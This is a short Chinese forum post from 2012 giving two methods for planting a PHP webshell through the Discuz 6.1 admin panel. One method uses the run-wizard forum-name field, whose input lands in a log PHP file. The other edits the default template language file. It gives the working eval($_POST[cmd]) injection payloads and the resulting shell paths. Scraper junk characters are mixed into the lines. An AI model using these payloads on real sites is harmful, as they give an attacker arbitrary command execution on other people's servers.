discuz6.1两种方法后台拿shell
* ^1 M6 U- f9 r" U3 H# O好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下7 @4 G( V! c/ L; L/ v
1:
5 ^( t* C. E6 v, _; [! Shttp://127.0.0.1/discuz/admincp. ... zard&frames=yes
, `5 }, z3 g. `4 ^1 K# Badmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell* m- L* H6 Y5 N# [! r/ ]
<?php eval($_POST[cmd]);?>
9 E/ E$ i6 i) t6 x: e9 W后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php1 D& R( ~" R7 s& F
0 s1 w. f1 _- }: O+ V" d
; g5 h4 B3 x& o) b
2:后台模板管理--默认模板套系--详情
' G! ~$ j0 i( [+ B/ @templates/default/actions.lang.php2 B& k" c8 n, }+ V3 `2 C4 Q
jhackj\\');eval($_POST[cmd])?>;//0 D1 [3 G( j/ @( A' Y q5 f3 C
& f# K3 ?' z+ J$ B
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对